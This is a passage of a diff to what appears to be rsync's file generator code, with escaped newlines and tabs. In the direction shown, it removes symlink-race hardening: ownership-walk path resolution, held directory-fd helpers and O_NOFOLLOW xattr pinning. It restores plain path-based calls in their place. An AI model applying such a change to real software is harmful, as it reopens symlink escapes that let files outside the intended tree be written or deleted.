0);\n-}\n-\n /* This is only called for regular files.  We return -2 if we've finished\n  * handling the file, -1 if no dest-linking occurred, or a non-negative\n  * value if we found an alternate basis file.  If we're called with the\n@@ -1118,7 +950,7 @@ static int try_dests_reg(struct file_struct *file, char *fname, int ndx,\n \n \tdo {\n \t\tpathjoin(cmpbuf, MAXPATHLEN, basis_dir[j], fname);\n-\t\tif (basis_link_stat(cmpbuf, &sxp->st) < 0 || !S_ISREG(sxp->st.st_mode))\n+\t\tif (link_stat(cmpbuf, &sxp->st, 0) < 0 || !S_ISREG(sxp->st.st_mode))\n \t\t\tcontinue;\n \t\tif (match_level == 0) {\n \t\t\tbest_match = j;\n@@ -1144,7 +976,7 @@ static int try_dests_reg(struct file_struct *file, char *fname, int ndx,\n \tif (j != best_match) {\n \t\tj = best_match;\n \t\tpathjoin(cmpbuf, MAXPATHLEN, basis_dir[j], fname);\n-\t\tif (basis_link_stat(cmpbuf, &sxp->st) < 0)\n+\t\tif (link_stat(cmpbuf, &sxp->st, 0) < 0)\n \t\t\tgoto got_nothing_for_ya;\n \t}\n \n@@ -1152,25 +984,12 @@ static int try_dests_reg(struct file_struct *file, char *fname, int ndx,\n \t\tif (find_exact_for_existing) {\n \t\t\tif (alt_dest_type == LINK_DEST && real_st.st_dev == sxp->st.st_dev && real_st.st_ino == sxp->st.st_ino)\n \t\t\t\treturn -1;\n-\t\t\tif (do_unlink_at(fname) < 0 && errno != ENOENT)\n+\t\t\tif (do_unlink(fname) < 0 && errno != ENOENT)\n \t\t\t\tgoto got_nothing_for_ya;\n \t\t}\n #ifdef SUPPORT_HARD_LINKS\n \t\tif (alt_dest_type == LINK_DEST) {\n-\t\t\t/* For a NON-daemon receiver the basis dir is an operator path:\n-\t\t\t * resolve the link source via the ownership walk so a foreign-owned\n-\t\t\t * symlink raced in after the basis_link_stat() check is still\n-\t\t\t * refused (matching basis_link_stat's !am_daemon gate).  A daemon\n-\t\t\t * keeps its stronger module-anchored confinement (do_link_at's\n-\t\t\t * secure_relpath_active path) -- the ownership walk would follow an\n-\t\t\t * operator-owned symlink out of the module. */\n-\t\t\tint hlok, op = !am_daemon;\n-\t\t\tif (op)\n-\t\t\t\toperator_path_resolve = 1;\n-\t\t\thlok = hard_link_one(file, fname, cmpbuf, 1);\n-\t\t\tif (op)\n-\t\t\t\toperator_path_resolve = 0;\n-\t\t\tif (!hlok)\n+\t\t\tif (!hard_link_one(file, fname, cmpbuf, 1))\n \t\t\t\tgoto try_a_copy;\n \t\t\tif (atimes_ndx)\n \t\t\t\tset_file_attrs(fname, file, sxp, NULL, 0);\n@@ -1199,13 +1018,6 @@ static int try_dests_reg(struct file_struct *file, char *fname, int ndx,\n #ifdef SUPPORT_HARD_LINKS\n \t  try_a_copy: /* Copy the file locally. */\n #endif\n-\t\t/* NB: the copy-dest basis read is deliberately NOT routed through the\n-\t\t * ownership walk: copy_altdest_file()->copy_file() also opens the dest\n-\t\t * and copies xattrs through a held O_NOFOLLOW fd, and forcing\n-\t\t * operator_path_resolve across that re-opens the copy_xattrs parent-\n-\t\t * symlink race (copy-xattrs-symlink-race).  basis_link_stat() already\n-\t\t * refuses a foreign-owned basis symlink, closing the static escape; the\n-\t\t * post-stat race on an absolute copy-dest basis is a documented residual. */\n \t\tif (!dry_run && copy_altdest_file(cmpbuf, fname, file) < 0) {\n \t\t\tif (find_exact_for_existing) /* Can get here via hard-link failure */\n \t\t\t\tgoto got_nothing_for_ya;\n@@ -1235,10 +1047,8 @@ got_nothing_for_ya:\n }\n \n /* This is only called for non-regular files.  We return -2 if we've finished\n- * handling the file, -3 if we matched one but the destination refused to\n- * hard-link it (the caller creates it instead, and must not report it again),\n- * or -1 if no dest-linking occurred, or a non-negative value if we found an\n- * alternate basis file. */\n+ * handling the file, or -1 if no dest-linking occurred, or a non-negative\n+ * value if we found an alternate basis file. */\n static int try_dests_non(struct file_struct *file, char *fname, int ndx,\n \t\t\t char *cmpbuf, stat_x *sxp, int itemizing,\n \t\t\t enum logcode code)\n@@ -1261,7 +1071,7 @@ static int try_dests_non(struct file_struct *file, char *fname, int ndx,\n \n \tdo {\n \t\tpathjoin(cmpbuf, MAXPATHLEN, basis_dir[j], fname);\n-\t\tif (basis_link_stat(cmpbuf, &sxp->st) < 0)\n+\t\tif (link_stat(cmpbuf, &sxp->st, 0) < 0)\n \t\t\tcontinue;\n \t\tif (ftype != get_file_type(sxp->st.st_mode))\n \t\t\tcontinue;\n@@ -1288,12 +1098,11 @@ static int try_dests_non(struct file_struct *file, char *fname, int ndx,\n \tif (j != best_match) {\n \t\tj = best_match;\n \t\tpathjoin(cmpbuf, MAXPATHLEN, basis_dir[j], fname);\n-\t\tif (basis_link_stat(cmpbuf, &sxp->st) < 0)\n+\t\tif (link_stat(cmpbuf, &sxp->st, 0) < 0)\n \t\t\treturn -1;\n \t}\n \n \tif (match_level == 3) {\n-\t\tint cannot_hardlink = 0;\n #ifdef SUPPORT_HARD_LINKS\n \t\tif (alt_dest_type == LINK_DEST\n #ifndef CAN_HARDLINK_SYMLINK\n@@ -1303,30 +1112,13 @@ static int try_dests_non(struct file_struct *file, char *fname, int ndx,\n \t\t && !IS_SPECIAL(file->mode) && !IS_DEVICE(file->mode)\n #endif\n \t\t && !S_ISDIR(file->mode)) {\n-\t\t\tif (do_link_at(cmpbuf, fname) < 0) {\n-\t\t\t\t/* CAN_HARDLINK_SYMLINK/_SPECIAL answer for whatever\n-\t\t\t\t * filesystem the build tree sat on; the destination is\n-\t\t\t\t * free to disagree, and one host can hold both (macOS\n-\t\t\t\t * builds on APFS, backs up to HFS+).  A refusal here is\n-\t\t\t\t * that same answer arriving late, so fall back to a copy\n-\t\t\t\t * as a build without the macro does -- the caller creates\n-\t\t\t\t * the entry either way, so failing the transfer only cost\n-\t\t\t\t * the exit status.\n-\t\t\t\t *\n-\t\t\t\t * Every errno, as the regular-file path next door already\n-\t\t\t\t * does (try_dests_reg -> hard_link_one -> try_a_copy).\n-\t\t\t\t * Picking out the \"cannot\" errnos is not possible anyway:\n-\t\t\t\t * link(2) documents EPERM both for a filesystem with no\n-\t\t\t\t * hard-link support and for an ordinary permission\n-\t\t\t\t * refusal, and FUSE reports ENOSYS for the same thing.\n-\t\t\t\t *\n-\t\t\t\t * The rest report themselves: ENOSPC/EDQUOT/EROFS fail the\n-\t\t\t\t * copy too, EMLINK and EXDEV mean it was never linkable.\n-\t\t\t\t * EIO alone goes unremarked, deliberately -- a diagnostic\n-\t\t\t\t * here lands in --link-dest's itemised output. */\n-\t\t\t\tcannot_hardlink = 1;\n-\t\t\t\tmatch_level = 2;\n-\t\t\t} else if (preserve_hard_links && F_IS_HLINKED(file))\n+\t\t\tif (do_link(cmpbuf, fname) < 0) {\n+\t\t\t\trsyserr(FERROR_XFER, errno,\n+\t\t\t\t\t\"failed to hard-link %s with %s\",\n+\t\t\t\t\tcmpbuf, fname);\n+\t\t\t\treturn j;\n+\t\t\t}\n+\t\t\tif (preserve_hard_links && F_IS_HLINKED(file))\n \t\t\t\tfinish_hard_link(file, fname, ndx, NULL, itemizing, code, -1);\n \t\t} else\n #endif\n@@ -1342,11 +1134,7 @@ static int try_dests_non(struct file_struct *file, char *fname, int ndx,\n \t\t\trprintf(FCLIENT, \"%s%s is uptodate\\n\",\n \t\t\t\tfname, ftype == FT_DIR ? \"/\" : \"\");\n \t\t}\n-\t\t/* -2 tells the caller the entry is already up to date, which for\n-\t\t * --link-dest means \"skip it\".  We could not link it, so say -3\n-\t\t * instead: no caller claims that, and the fall-through creates the\n-\t\t * entry -- the same place a build without the macro ends up. */\n-\t\treturn cannot_hardlink ? -3 : -2;\n+\t\treturn -2;\n \t}\n \n \treturn j;\n@@ -1416,232 +1204,6 @@ static BOOL is_below(struct file_struct *file, struct file_struct *subtree)\n  *\n  * Note that f_out is set to -1 when doing final directory-permission and\n  * modification-time repair. */\n-\n-/* Held-dirfd helpers for the per-entry ops below: when the secure resolver is\n- * active they act on the entry's basename relative to its cached directory fd\n- * (held_dfd_for, keyed on file->dirname), else fall back to the full-path\n- * do_*_at wrappers (behaviour-identical).  held_dfd_for() declines when fname\n- * isn't in file->dirname (e.g. the single-file local_name dest), and the leaf\n- * is derived from fname, not file->basename. */\n-static int gen_entry_stat(const char *fname, struct file_struct *file,\n-\t\t\t  STRUCT_STAT *stp, int follow_dirlinks)\n-{\n-\tint dfd;\n-\t/* link_stat_at folds in no fake-super xattr, so only use it when\n-\t * am_root >= 0 (where link_stat's get_stat_xattr is a no-op anyway). */\n-\tif (am_root >= 0 && (dfd = held_dfd_for(fname, file)) >= 0) {\n-\t\tconst char *slash = strrchr(fname, '/');\n-\t\treturn link_stat_at(dfd, slash ? slash + 1 : fname, stp, follow_dirlinks);\n-\t}\n-\treturn link_stat(fname, stp, follow_dirlinks);\n-}\n-\n-static int gen_entry_mkdir(char *fname, struct file_struct *file, mode_t mode)\n-{\n-\tint dfd = held_dfd_for(fname, file);\n-\tif (dfd >= 0) {\n-\t\tconst char *slash = strrchr(fname, '/');\n-\t\treturn do_mkdir_atfd(dfd, slash ? slash + 1 : fname, mode);\n-\t}\n-\treturn do_mkdir_at(fname, mode);\n-}\n-\n-static int gen_entry_chmod(const char *fname, struct file_struct *file, mode_t mode)\n-{\n-\tint dfd = held_dfd_for(fname, file);\n-\tif (dfd >= 0) {\n-\t\tconst char *slash = strrchr(fname, '/');\n-\t\treturn do_chmod_atfd(dfd, slash ? slash + 1 : fname, mode);\n-\t}\n-\treturn do_chmod_at(fname, mode);\n-}\n-\n-static void gen_entry_set_times(const char *fname, struct file_struct *file, STRUCT_STAT *stp)\n-{\n-\tint dfd = held_dfd_for(fname, file);\n-\tif (dfd >= 0) {\n-\t\tconst char *slash = strrchr(fname, '/');\n-\t\tif (set_times_at(dfd, slash ? slash + 1 : fname, stp) != -2)\n-\t\t\treturn;\t/* handled (success or error) by the at-on-dfd tier */\n-\t}\n-\tset_times(fname, stp);\n-}\n-\n-static int gen_entry_symlink(const char *slnk, const char *path, struct file_struct *file)\n-{\n-\tint dfd = held_dfd_for(path, file);\n-\tif (dfd >= 0) {\n-\t\tconst char *slash = strrchr(path, '/');\n-\t\treturn do_symlink_atfd(slnk, dfd, slash ? slash + 1 : path);\n-\t}\n-\treturn do_symlink_at(slnk, path);\n-}\n-\n-/* True when this build compiled no fd-relative primitive able to create this\n- * kind of node.  That is a property of the build, not of the call, so it is\n- * decided here rather than inferred from an errno. */\n-static int no_atfd_mknod_primitive(mode_t mode)\n-{\n-#ifndef AT_FDCWD\n-\t(void)mode;\n-\treturn 1;\n-#else\n-\t/* --fake-super creates the placeholder with openat(), which exists\n-\t * wherever AT_FDCWD does, so a failure there is a real failure and is\n-\t * deliberately NOT retried unconfined -- even though a runtime denial\n-\t * (a seccomp policy permitting open() but not openat()) would then fail\n-\t * a create that the errno-based test used to let through. */\n-\tif (am_root < 0)\n-\t\treturn 0;\n-# ifdef HAVE_MKNODAT\n-\t(void)mode;\n-\treturn 0;\n-# elif defined(HAVE_MKFIFOAT)\n-\treturn !S_ISFIFO(mode);\t/* FIFOs are covered; device nodes are not */\n-# else\n-\t(void)mode;\n-\treturn 1;\n-# endif\n-#endif\n-}\n-\n-static int gen_entry_mknod(const char *path, struct file_struct *file, mode_t mode, dev_t rdev)\n-{\n-\tint dfd;\n-\t/* do_mknod_atfd can't create a socket (no portable bindat); fall back. */\n-\tif (!S_ISSOCK(mode) && (dfd = held_dfd_for(path, file)) >= 0) {\n-\t\tconst char *slash = strrchr(path, '/');\n-\t\tint ret = do_mknod_atfd(dfd, slash ? slash + 1 : path, mode, rdev);\n-\t\t/* Fall through to the unconfined path-based create only where this\n-\t\t * build compiled no fd-relative primitive for this kind of node --\n-\t\t * SECURITY.md's rule for a platform that cannot be secure at all.\n-\t\t * Testing errno == ENOSYS is not that test: a live mknodat() or\n-\t\t * mkfifoat() can return ENOSYS too (an unimplemented FUSE mknod,\n-\t\t * or seccomp), which would drop confinement on a platform that\n-\t\t * does have the secure primitive. */\n-\t\tif (ret == 0 || !no_atfd_mknod_primitive(mode))\n-\t\t\treturn ret;\n-\t}\n-\treturn do_mknod_at(path, mode, rdev);\n-}\n-\n-static int gen_entry_unlink(const char *path, struct file_struct *file)\n-{\n-\tint dfd = held_dfd_for(path, file);\n-\tif (dfd >= 0) {\n-\t\tconst char *slash = strrchr(path, '/');\n-\t\treturn do_unlink_atfd(dfd, slash ? slash + 1 : path, 0);\n-\t}\n-\treturn do_unlink_at(path);\n-}\n-\n-/* opath and npath are both expected to live in the entry's directory (the\n- * tmp -> final rename); when both resolve to the held dir fd the rename is a\n- * single renameat() within it, else fall back to the full-path wrapper. */\n-static int gen_entry_rename(const char *opath, const char *npath, struct file_struct *file)\n-{\n-\tint odfd = held_dfd_for(opath, file);\n-\tint ndfd = held_dfd_for(npath, file);\n-\tif (odfd >= 0 && ndfd >= 0) {\n-\t\tconst char *os = strrchr(opath, '/');\n-\t\tconst char *ns = strrchr(npath, '/');\n-\t\treturn do_rename_atfd(odfd, os ? os + 1 : opath, ndfd, ns ? ns + 1 : npath);\n-\t}\n-\treturn do_rename_at(opath, npath);\n-}\n-\n-#ifdef SUPPORT_XATTRS\n-/* Copy xattrs from src onto fname through a held, O_NOFOLLOW-opened fd so a\n- * parent-symlink race can't redirect the setxattr.  A hardened receiver always\n- * uses a confined fd -- via the cached dir fd, or a secure re-pin when that\n- * misses -- and refuses rather than path-write if it can't pin; only a\n- * non-hardened receiver falls back to the path-based copy (matches\n- * set_file_attrs' held-fd handling). */\n-static int gen_entry_copy_xattrs(const char *src, const char *fname, struct file_struct *file)\n-{\n-\tint dfd = held_dfd_for(fname, file);\n-\tint xfd = -1, sfd = -1, ret;\n-\tif (dfd >= 0) {\n-\t\tconst char *slash = strrchr(fname, '/');\n-\t\txfd = openat(dfd, slash ? slash + 1 : fname,\n-\t\t\t     O_RDONLY | O_NOFOLLOW | O_NONBLOCK | O_NOCTTY | O_CLOEXEC);\n-\t\tif (xfd < 0) {\n-\t\t\t/* We hold a confined parent dirfd but couldn't pin the\n-\t\t\t * leaf (e.g. it was raced to a symlink) -- refuse rather\n-\t\t\t * than fall back to a path-based set that would follow the\n-\t\t\t * parent components. */\n-\t\t\trsyserr(FERROR_XFER, errno,\n-\t\t\t\t\"gen_entry_copy_xattrs: openat(%s) failed\",\n-\t\t\t\tfull_fname(fname));\n-\t\t\treturn -1;\n-\t\t}\n-\t}\n-#if defined AT_FDCWD && defined O_NOFOLLOW\n-\telse if (secure_relpath_active()) {\n-\t\t/* No cached parent dirfd (a path deeper than the dirfd cache, or a raced\n-\t\t * parent) but we must confine: re-pin the dest leaf through the secure\n-\t\t * resolver so copy_xattrs uses fsetxattr, not a path-based lsetxattr a\n-\t\t * flipped parent could redirect out of tree.  A raced parent/leaf makes\n-\t\t * this fail -> refuse rather than path-write. */\n-\t\tint odir = 0;\n-# ifdef O_DIRECTORY\n-\t\tif (S_ISDIR(file->mode))\n-\t\t\todir = O_DIRECTORY;\n-# endif\n-\t\txfd = secure_relative_open(NULL, fname,\n-\t\t\tO_RDONLY | O_NOFOLLOW | O_NONBLOCK | O_NOCTTY | O_CLOEXEC | odir, 0);\n-\t\tif (xfd < 0) {\n-\t\t\trsyserr(FERROR_XFER, errno,\n-\t\t\t\t\"gen_entry_copy_xattrs: secure open of %s failed\",\n-\t\t\t\tfull_fname(fname));\n-\t\t\treturn -1;\n-\t\t}\n-\t}\n-#endif\n-\t/* Pin the SOURCE (alt-dest basis) leaf too so the xattr READ can't be raced\n-\t * out of tree (copy_file does the same for its content+xattr source).  A\n-\t * relative basis goes through the RESOLVE_BENEATH resolver; an absolute one\n-\t * through the operator ownership walk.  Refuse (don't path-read) when we are\n-\t * meant to confine but can't pin; a non-hardened receiver path-reads (sfd<0). */\n-#if defined AT_FDCWD && defined O_NOFOLLOW && defined O_DIRECTORY\n-\tif (secure_relpath_active() && src && *src && !symlink_optout_allowed()) {\n-\t\tint odir = 0;\n-#ifdef O_DIRECTORY\n-\t\tif (S_ISDIR(file->mode))\t/* secure_relative_open rejects a dir leaf without this */\n-\t\t\todir = O_DIRECTORY;\n-#endif\n-\t\tif (src[0] != '/')\n-\t\t\tsfd = secure_relative_open(NULL, src, O_RDONLY | O_NOFOLLOW | odir, 0);\n-\t\telse {\n-\t\t\tint save = operator_path_resolve, sdfd, e;\n-\t\t\tconst char *leaf;\n-\t\t\toperator_path_resolve = 1;\n-\t\t\tsdfd = owner_walk_parent(src, &leaf);\n-\t\t\toperator_path_resolve = save;\n-\t\t\tif (sdfd >= 0) {\n-\t\t\t\tsfd = openat(sdfd, leaf, O_RDONLY | O_NOFOLLOW | odir | O_NONBLOCK | O_NOCTTY | O_CLOEXEC);\n-\t\t\t\te = errno; close(sdfd); errno = e;\n-\t\t\t}\n-\t\t}\n-\t\tif (sfd < 0) {\n-\t\t\trsyserr(FERROR_XFER, errno,\n-\t\t\t\t\"gen_entry_copy_xattrs: secure open of basis %s failed\",\n-\t\t\t\tfull_fname(src));\n-\t\t\tif (xfd >= 0)\n-\t\t\t\tclose(xfd);\n-\t\t\treturn -1;\n-\t\t}\n-\t}\n-#endif\n-\tret = copy_xattrs(src, sfd, fname, xfd);\n-\tif (sfd >= 0)\n-\t\tclose(sfd);\n-\tif (xfd >= 0)\n-\t\tclose(xfd);\n-\treturn ret;\n-}\n-#endif\n-\n static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \t\t\t   int itemizing, enum logcode code, int f_out)\n {\n@@ -1656,7 +1218,7 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \tstatic int need_fuzzy_dirlist = 0;\n \tstruct file_struct *fuzzy_file = NULL;\n \tint fd = -1, f_copy = -1;\n-\tstat_x sx = {0}, real_sx = {0};\n+\tstat_x sx, real_sx;\n \tSTRUCT_STAT partial_st;\n \tstruct file_struct *back_file = NULL;\n \tint statret, real_ret, stat_errno;\n@@ -1753,7 +1315,7 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \t\t\t\t}\n \t\t\t}\n \t\t\tif (relative_paths && !implied_dirs && file->mode != 0\n-\t\t\t && do_stat_at(dn, &sx.st) < 0) {\n+\t\t\t && do_stat(dn, &sx.st) < 0) {\n \t\t\t\tif (dry_run)\n \t\t\t\t\tgoto parent_is_dry_missing;\n \t\t\t\tif (make_path(fname, MKP_DROP_NAME | MKP_SKIP_SLASH) < 0) {\n@@ -1779,7 +1341,7 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \t\t}\n \t\tparent_dirname = dn;\n \n-\t\tstatret = gen_entry_stat(fname, file, &sx.st, keep_dirlinks && is_dir);\n+\t\tstatret = link_stat(fname, &sx.st, keep_dirlinks && is_dir);\n \t\tstat_errno = errno;\n \t}\n \n@@ -1865,7 +1427,7 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \t\t\t && (stype == FT_DIR\n \t\t\t  || delete_item(fname, sx.st.st_mode, del_opts | DEL_FOR_DIR) != 0))\n \t\t\t\tgoto cleanup; /* Any errors get reported later. */\n-\t\t\tif (gen_entry_mkdir(fname, file, (file->mode|added_perms) & 0700) == 0)\n+\t\t\tif (do_mkdir(fname, (file->mode|added_perms) & 0700) == 0)\n \t\t\t\tfile->flags |= FLAG_DIR_CREATED;\n \t\t\tgoto cleanup;\n \t\t}\n@@ -1907,13 +1469,10 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \t\t\titemize(fnamecmp, file, ndx, statret, &sx,\n \t\t\t\tstatret ? ITEM_LOCAL_CHANGE : 0, 0, NULL);\n \t\t}\n-\t\tif (real_ret != 0 && gen_entry_mkdir(fname, file, file->mode|added_perms) < 0 && errno != EEXIST) {\n-\t\t\t/* The parent may have just been created by make_path(), so\n-\t\t\t * drop any cached (failed) dir fd before the retry. */\n-\t\t\treset_dir_fd_cache();\n+\t\tif (real_ret != 0 && do_mkdir(fname,file->mode|added_perms) < 0 && errno != EEXIST) {\n \t\t\tif (!relative_paths || errno != ENOENT\n \t\t\t || make_path(fname, MKP_DROP_NAME | MKP_SKIP_SLASH) < 0\n-\t\t\t || (gen_entry_mkdir(fname, file, file->mode|added_perms) < 0 && errno != EEXIST)) {\n+\t\t\t || (do_mkdir(fname, file->mode|added_perms) < 0 && errno != EEXIST)) {\n \t\t\t\trsyserr(FERROR_XFER, errno,\n \t\t\t\t\t\"recv_generator: mkdir %s failed\",\n \t\t\t\t\tfull_fname(fname));\n@@ -1927,7 +1486,7 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \n #ifdef SUPPORT_XATTRS\n \t\tif (preserve_xattrs && statret == 1)\n-\t\t\tgen_entry_copy_xattrs(fnamecmpbuf, fname, file);\n+\t\t\tcopy_xattrs(fnamecmpbuf, fname);\n #endif\n \t\tif (set_file_attrs(fname, file, real_ret ? NULL : &real_sx, NULL, 0)\n \t\t && INFO_GTE(NAME, 1) && code != FNONE && f_out != -1)\n@@ -1940,7 +1499,7 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n #ifdef HAVE_CHMOD\n \t\tif (!am_root && (file->mode & S_IRWXU) != S_IRWXU && dir_tweaking) {\n \t\t\tmode_t mode = file->mode | S_IRWXU;\n-\t\t\tif (gen_entry_chmod(fname, file, mode) < 0) {\n+\t\t\tif (do_chmod(fname, mode) < 0) {\n \t\t\t\trsyserr(FERROR_XFER, errno,\n \t\t\t\t\t\"failed to modify permissions on %s\",\n \t\t\t\t\tfull_fname(fname));\n@@ -2014,14 +1573,7 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \t\t\t}\n \t\t} else if (basis_dir[0] != NULL) {\n \t\t\tint j = try_dests_non(file, fname, ndx, fnamecmpbuf, &sx, itemizing, code);\n-\t\t\tif (j == -3) {\n-\t\t\t\t/* The destination cannot hard-link this type.  Land exactly\n-\t\t\t\t * where a build without CAN_HARDLINK_SYMLINK lands: create\n-\t\t\t\t * the entry, but leave the reporting to the itemisation\n-\t\t\t\t * try_dests_non() already emitted. */\n-\t\t\t\titemizing = 0;\n-\t\t\t\tcode = FNONE;\n-\t\t\t} else if (j == -2) {\n+\t\t\tif (j == -2) {\n #ifndef CAN_HARDLINK_SYMLINK\n \t\t\t\tif (alt_dest_type == LINK_DEST) {\n \t\t\t\t\t/* Resort to --copy-dest behavior. */\n@@ -2036,10 +1588,6 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \t\t\t\tfnamecmp = fnamecmpbuf;\n \t\t\t}\n \t\t}\n-\t\tif (defer_symlinks) {\n-\t\t\tdefer_symlink(file, ndx, fname, itemizing, code);\n-\t\t\tgoto cleanup;\n-\t\t}\n \t\tif (atomic_create(file, fname, sl, NULL, MAKEDEV(0, 0), &sx, statret == 0 ? DEL_FOR_SYMLINK : 0)) {\n \t\t\tset_file_attrs(fname, file, NULL, NULL, 0);\n \t\t\tif (itemizing) {\n@@ -2064,20 +1612,10 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \t\tgoto cleanup;\n \t}\n \n-\t/* --drop-D refuses to CREATE devices/specials without touching\n-\t * preserve_devices/preserve_specials, which also frame the file list's\n-\t * rdev fields -- clearing those on one end of a connection alone\n-\t * desynchronises it.  Falls through to the \"skipping non-regular file\"\n-\t * path below, exactly as --no-D reaches it. */\n-\tif (!drop_devices\n-\t && ((am_root && preserve_devices && ftype == FT_DEVICE)\n-\t  || (preserve_specials && ftype == FT_SPECIAL))) {\n+\tif ((am_root && preserve_devices && ftype == FT_DEVICE)\n+\t || (preserve_specials && ftype == FT_SPECIAL)) {\n \t\tdev_t rdev;\n \t\tint del_for_flag;\n-\t\t/* Whether the dest existed, captured before the type-mismatch\n-\t\t * flip below clears statret -- so atomic_create() gets a delete\n-\t\t * flag (and reads sx.st) only when sx.st was actually stat'd. */\n-\t\tint dest_existed = (statret == 0);\n \t\tif (ftype == FT_DEVICE) {\n \t\t\tuint32 *devp = F_RDEV_P(file);\n \t\t\trdev = MAKEDEV(DEV_MAJOR(devp), DEV_MINOR(devp));\n@@ -2104,12 +1642,7 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \t\t\t}\n \t\t} else if (basis_dir[0] != NULL) {\n \t\t\tint j = try_dests_non(file, fname, ndx, fnamecmpbuf, &sx, itemizing, code);\n-\t\t\tif (j == -3) {\n-\t\t\t\t/* As above: a destination that cannot hard-link this type\n-\t\t\t\t * behaves like a build without CAN_HARDLINK_SPECIAL. */\n-\t\t\t\titemizing = 0;\n-\t\t\t\tcode = FNONE;\n-\t\t\t} else if (j == -2) {\n+\t\t\tif (j == -2) {\n #ifndef CAN_HARDLINK_SPECIAL\n \t\t\t\tif (alt_dest_type == LINK_DEST) {\n \t\t\t\t\t/* Resort to --copy-dest behavior. */\n@@ -2129,7 +1662,7 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \t\t\t\tfname, (int)file->mode,\n \t\t\t\t(long)major(rdev), (long)minor(rdev));\n \t\t}\n-\t\tif (atomic_create(file, fname, NULL, NULL, rdev, &sx, dest_existed ? del_for_flag : 0)) {\n+\t\tif (atomic_create(file, fname, NULL, NULL, rdev, &sx, del_for_flag)) {\n \t\t\tset_file_attrs(fname, file, NULL, NULL, 0);\n \t\t\tif (itemizing) {\n \t\t\t\titemize(fnamecmp, file, ndx, statret, &sx,\n@@ -2173,8 +1706,7 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \t\tgoto cleanup;\n \t}\n \n-\tif (update_only > 0 && statret == 0 && stype == ftype\n-\t && file->modtime - sx.st.st_mtime < modify_window) {\n+\tif (update_only > 0 && statret == 0 && file->modtime - sx.st.st_mtime < modify_window) {\n \t\tif (INFO_GTE(SKIP, 1))\n \t\t\trprintf(FINFO, \"%s is newer\\n\", fname);\n #ifdef SUPPORT_HARD_LINKS\n@@ -2253,7 +1785,6 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \tif (statret != 0) {\n #ifdef SUPPORT_HARD_LINKS\n \t\tif (preserve_hard_links && F_HLINK_NOT_LAST(file)) {\n-\t\t\tfile->flags |= FLAG_HLINK_WAIT;\n \t\t\tcur_flist->in_progress++;\n \t\t\tgoto cleanup;\n \t\t}\n@@ -2277,12 +1808,7 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \t\t;\n \telse if (quick_check_ok(FT_REG, fnamecmp, file, &sx.st)) {\n \t\tif (partialptr) {\n-\t\t\t/* The --partial-dir basis is an operator/peer path: unlink it\n-\t\t\t * through the exclude-aware ownership walk so a symlinked\n-\t\t\t * partial-dir can't delete a file in an excluded subtree. */\n-\t\t\toperator_path_resolve = 1;\n-\t\t\tdo_unlink_at(partialptr);\n-\t\t\toperator_path_resolve = 0;\n+\t\t\tdo_unlink(partialptr);\n \t\t\thandle_partial_dir(partialptr, PDIR_DELETE);\n \t\t}\n \t\tset_file_attrs(fname, file, &sx, NULL, maybe_ATTRS_REPORT | maybe_ATTRS_ACCURATE_TIME);\n@@ -2321,26 +1847,15 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \n \tif (read_batch || whole_file) {\n \t\tif (inplace && make_backups > 0 && fnamecmp_type == FNAMECMP_FNAME) {\n-\t\t\t/* The --backup-dir (backupptr) is an operator path; this in-place\n-\t\t\t * backup bypasses make_backup(), so set operator_path_resolve here\n-\t\t\t * too -- get_backup_name() (make_path) and copy_file() then resolve\n-\t\t\t * it with the ownership walk instead of following any symlink. */\n-\t\t\toperator_path_resolve = 1;\n-\t\t\tif (!(backupptr = get_backup_name(fname))) {\n-\t\t\t\toperator_path_resolve = 0;\n+\t\t\tif (!(backupptr = get_backup_name(fname)))\n \t\t\t\tgoto cleanup;\n-\t\t\t}\n-\t\t\tif (!(back_file = make_file(fname, NULL, NULL, 0, NO_FILTERS))) {\n-\t\t\t\toperator_path_resolve = 0;\n+\t\t\tif (!(back_file = make_file(fname, NULL, NULL, 0, NO_FILTERS)))\n \t\t\t\tgoto pretend_missing;\n-\t\t\t}\n \t\t\tif (copy_file(fname, backupptr, -1, back_file->mode) < 0) {\n-\t\t\t\toperator_path_resolve = 0;\n \t\t\t\tunmake_file(back_file);\n \t\t\t\tback_file = NULL;\n \t\t\t\tgoto cleanup;\n \t\t\t}\n-\t\t\toperator_path_resolve = 0;\n \t\t}\n \t\tgoto notify_others;\n \t}\n@@ -2359,7 +1874,6 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \t\t/* pretend the file didn't exist */\n #ifdef SUPPORT_HARD_LINKS\n \t\tif (preserve_hard_links && F_HLINK_NOT_LAST(file)) {\n-\t\t\tfile->flags |= FLAG_HLINK_WAIT;\n \t\t\tcur_flist->in_progress++;\n \t\t\tgoto cleanup;\n \t\t}\n@@ -2369,33 +1883,25 @@ static void recv_generator(char *fname, struct file_struct *file, int ndx,\n \t}\n \n \tif (inplace && make_backups > 0 && fnamecmp_type == FNAMECMP_FNAME) {\n-\t\t/* Operator --backup-dir, bypassing make_backup(): resolve get_backup_name()\n-\t\t * (make_path), the unlink and the create with the ownership walk. */\n-\t\toperator_path_resolve = 1;\n \t\tif (!(backupptr = get_backup_name(fname))) {\n-\t\t\toperator_path_resolve = 0;\n \t\t\tgoto cleanup;\n \t\t}\n \t\tif (!(back_file = make_file(fname, NULL, NULL, 0, NO_FILTERS))) {\n-\t\t\toperator_path_resolve = 0;\n \t\t\tgoto pretend_missing;\n \t\t}\n \t\tif (robust_unlink(backupptr) && errno != ENOENT) {\n-\t\t\toperator_path_resolve = 0;\n \t\t\trsyserr(FERROR_XFER, errno, \"unlink %s\",\n \t\t\t\tfull_fname(backupptr));\n \t\t\tunmake_file(back_file);\n \t\t\tback_file = NULL;\n \t\t\tgoto 